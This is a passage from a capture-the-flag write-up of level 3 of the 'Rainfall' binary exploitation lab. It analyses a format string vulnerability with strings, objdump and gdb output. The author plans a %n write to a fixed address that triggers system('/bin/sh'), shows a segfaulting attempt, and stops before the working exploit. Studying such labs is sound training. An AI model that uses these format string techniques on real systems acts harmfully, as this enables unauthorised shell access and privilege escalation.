

LEVEL 3:

[illegible]

Same process: strings, objdump, gdb

Strings:

```
➔ Rainfall scp -P 4242 level3@192.168.1.65:level3 .
```

```

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  |  _  \      ( _ )      |  _  |      |  | | | | | | | |
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  |  |  \  \  ( _ |  |  |  |  |  |  |  |  |  |
  |  |  \  \  _  ,  |  |  |  |  |  |  |  |

```

Good luck & Have fun

To start, ssh with level0/level0 on 192.168.1.65:4242

level3@192.168.1.65's password:

level3 100% 5366 8.3MB/s 00:00

```
➔ Rainfall strings level3
```

/lib/ld-linux.so.2

__gmon_start__

libc.so.6

_IO_stdin_used

stdin

printf

fgets

stdout

system

fwrite

__libc_start_main

GLIBC_2.0

PTRh

UWVS

[^_]

Wait what?!

/bin/sh

;*2\$"

GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

.symtab

.strtab

.shstrtab

objdump -d :

```

080484a4 <v>:
80484a4: 55                push    %ebp
80484a5: 89 e5            mov     %esp,%ebp
80484a7: 81 ec 18 02 00 00 sub     $0x218,%esp
80484ad: a1 60 98 04 08   mov     0x8049860,%eax
80484b2: 89 44 24 08      mov     %eax,0x8(%esp)
80484b6: c7 44 24 04 00 02 00 movl    $0x200,0x4(%esp)
80484bd: 00
80484be: 8d 85 f8 fd ff ff lea     -0x208(%ebp),%eax
80484c4: 89 04 24         mov     %eax,(%esp)
80484c7: e8 d4 fe ff ff   call    80483a0 <fgets@plt>
80484cc: 8d 85 f8 fd ff ff lea     -0x208(%ebp),%eax
80484d2: 89 04 24         mov     %eax,(%esp)
80484d5: e8 b6 fe ff ff   call    8048390 <printf@plt>
80484da: a1 8c 98 04 08   mov     0x804988c,%eax
80484df: 83 f8 40         cmp     $0x40,%eax
80484e2: 75 34           jne     8048518 <v+0x74>
80484e4: a1 80 98 04 08   mov     0x8049880,%eax
80484e9: 89 c2           mov     %eax,%edx
80484eb: b8 00 86 04 08   mov     $0x8048600,%eax
80484f0: 89 54 24 0c      mov     %edx,0xc(%esp)
80484f4: c7 44 24 08 0c 00 00 movl    $0xc,0x8(%esp)
80484fb: 00
80484fc: c7 44 24 04 01 00 00 movl    $0x1,0x4(%esp)
8048503: 00
8048504: 89 04 24         mov     %eax,(%esp)
8048507: e8 a4 fe ff ff   call    80483b0 <fwrite@plt>
804850c: c7 04 24 0d 86 04 08 movl    $0x804860d,(%esp)
8048513: e8 a8 fe ff ff   call    80483c0 <system@plt>
8048518: c9             leave
8048519: c3             ret

0804851a <main>:
804851a: 55                push    %ebp
804851b: 89 e5            mov     %esp,%ebp
804851d: 83 e4 f0         and     $0xffffffff0,%esp
8048520: e8 7f ff ff ff   call    80484a4 <v>
8048525: c9             leave
8048526: c3             ret
8048527: 90             nop

```

gdb :

```

(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 5 at 0x804851d
Starting program: /home/user/level3/level3

Temporary breakpoint 5, 0x804851d in main ()
(gdb) i r $ebp $esp
ebp                0xbffff738          0xbffff738
esp                0xbffff738          0xbffff738
(gdb) break v
Note: breakpoints 2 and 4 also set at pc 0x80484ad.
Breakpoint 6 at 0x80484ad
(gdb) ni
0x08048520 in main ()
(gdb) ni

Breakpoint 2, 0x80484ad in v ()
(gdb) i r $ebp $esp
ebp                0xbffff728          0xbffff728
esp                0xbffff510          0xbffff510
(gdb) disas
Dump of assembler code for function v:
   0x080484a4 <+0>:    push    %ebp
   0x080484a5 <+1>:    mov     %esp,%ebp
   0x080484a7 <+3>:    sub     $0x218,%esp
=> 0x080484ad <+9>:    mov     0x8049860,%eax
   0x080484b2 <+14>:   mov     %eax,0x8(%esp)
   0x080484b6 <+18>:   movl    $0x200,0x4(%esp)
   0x080484be <+26>:   lea     -0x208(%ebp),%eax
   0x080484c4 <+32>:   mov     %eax,(%esp)
   0x080484c7 <+35>:   call   0x80483a0 <fgets@plt>
   0x080484cc <+40>:   lea     -0x208(%ebp),%eax
   0x080484d2 <+46>:   mov     %eax,(%esp)
   0x080484d5 <+49>:   call   0x8048390 <printf@plt>
   0x080484da <+54>:   mov     0x804988c,%eax
   0x080484df <+59>:   cmp     $0x40,%eax
   0x080484e2 <+62>:   jne     0x8048518 <v+116>
   0x080484e4 <+64>:   mov     0x8049880,%eax
   0x080484e9 <+69>:   mov     %eax,%edx
   0x080484eb <+71>:   mov     $0x8048600,%eax
   0x080484f0 <+76>:   mov     %edx,0xc(%esp)
   0x080484f4 <+80>:   movl    $0xc,0x8(%esp)
   0x080484fc <+88>:   movl    $0x1,0x4(%esp)
   0x08048504 <+96>:   mov     %eax,(%esp)
   0x08048507 <+99>:   call   0x80483b0 <fwrite@plt>
   0x0804850c <+104>:  movl    $0x804860d,(%esp)
   0x08048513 <+111>:  call   0x80483c0 <system@plt>
   0x08048518 <+116>:  leave
   0x08048519 <+117>:  ret
End of assembler dump.

```

So, the **EBP** pointer the start of the stackframe fo function v() is **0xbffff728**

The current stack location pointer **ESP** is 0x218 further at **0xbffff510**

The main **RET ADDRESS, EIP OF CALLING FUNC** is **0x08048525** stored in the **stack** at address **0xbffff72c**. (address to overwrite)

The input received by **fgets()** is **stored** at **0xbffff520**

The maximum size of what's gonna be read and stored 0x200 octet. S

So the **further address** written is $0xbffff520 + 0x200 = \mathbf{0xbffff720}$:

- We miss + **0xc to overwrite** the return address
- But we don't care a lot here we want to write at **0x804988c**

Then we printf() input. (The address of the chain where is stored the input is on the stack and is passed to printf through the stack)

If the content at the address 0x804988c is 0x00000040, system('/bin/sh') is executed

The **challenge** is to find a way to **write** at address **0x804988c**.

Because nothing does an allocation on the heap, and anyway I couldn't choose to write on a special address (unless spray heap because no aslr i think).

Maybe I can find a way to overwrite the return address by the address just before the call of system() so the address 0x0804850c.

The goal:

Like doing `set {int} 0xbffff72c=0x0804850c`

On system 32bits, printf takes its arguments from the stack.

When printf() is called, the address of the input chain is on the stackframe of printf (from its function arguments position), 0x10 bytes further that the beginning of its arguments stack space. Meaning that all further argument that will be popped, depending of the content of its first arg, may be popped from the input chain, because the pop() are contiguous from the stack, and will happen as long as printf needs it, (cqfd) depending of its input string. (the number of formats asked %)

So we can use that to find a vulnerability maybe. Let's dig that.

To resume: Printf() knows how many time to pop (expect argument), by checking the first string and counting the formatting references (%...).

So from the content of the first string, you can decide how many times printf will pop.

Option 1: Placing the target address after all the formatting instruction, so it's position is dependant of the size in octet of our input

Printf need a first string containing at least '%p/s' * 10 + '\x00' * 4 + target_address That will be printed in last

```
level3@RainFall:~$ %p%p %p%p %p%p %p%p %p%p00 pour printf + 3 * 00 + 4*00 + pour pre
server la stack + target address qui sera pop en dernier et print en dernier
```

Option 2: Writing: first the target address + %p * 4 will

- In my case we need to pop 4 times, (because the address of our input is

0x10 further than the beginning of the printf() **argument space**)

- The 4th element popped contains the first 4 bytes of our input which are the target address. (Instead of popping depending on the number of chars needed to instruct printf of formatting references, like my option)

https://web.ecs.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

What is missing to our exploit is a way to write at an address: (how to give the address is by the input)

- An interesting format of printf() writes to an address:

%n format writes the number of bytes that have been printed until the occurrence of '%n', at the address given by the associated argument

So if I want %n format to give 0x4, I must use the solution proposed in the pdf instead of mine, because I need my input_string to contain precisely 0x4 bytes before the format call

I put the address **0x804988c** as the target address.

*problem: The thing is if the input_string contains %p * 3 before the %n, the number of bytes before the %n call won't be 4. Because it will print content in a pointer hexa format, and the size can vary.*

« To avoid long format strings, we can use a width specification of the format indicators »

- I check for width specifications of formats :

<https://www.ibm.com/docs/en/i/7.2?topic=functions-printf-print-formatted-characters>

I have an idea, this may cause a segfault because writing at a bad address, but I can try to do 4 * %n, to be sure the '%n' won't be counted as bytes

```
level3@RainFall:~$ echo -en '\x8c\x98\x04\x08\x25\x6e\x25\x6e\x25\x6e\x25\x6e' | ./level3
Segmentation fault (core dumped)
level3@RainFall:~$
```

That's a segfault, the solution must be in the width specifications.

Ok my bad, we do not want to write 0x4 but 0x40, changes everything, anyway, if I wanted to write 4, that's the process:

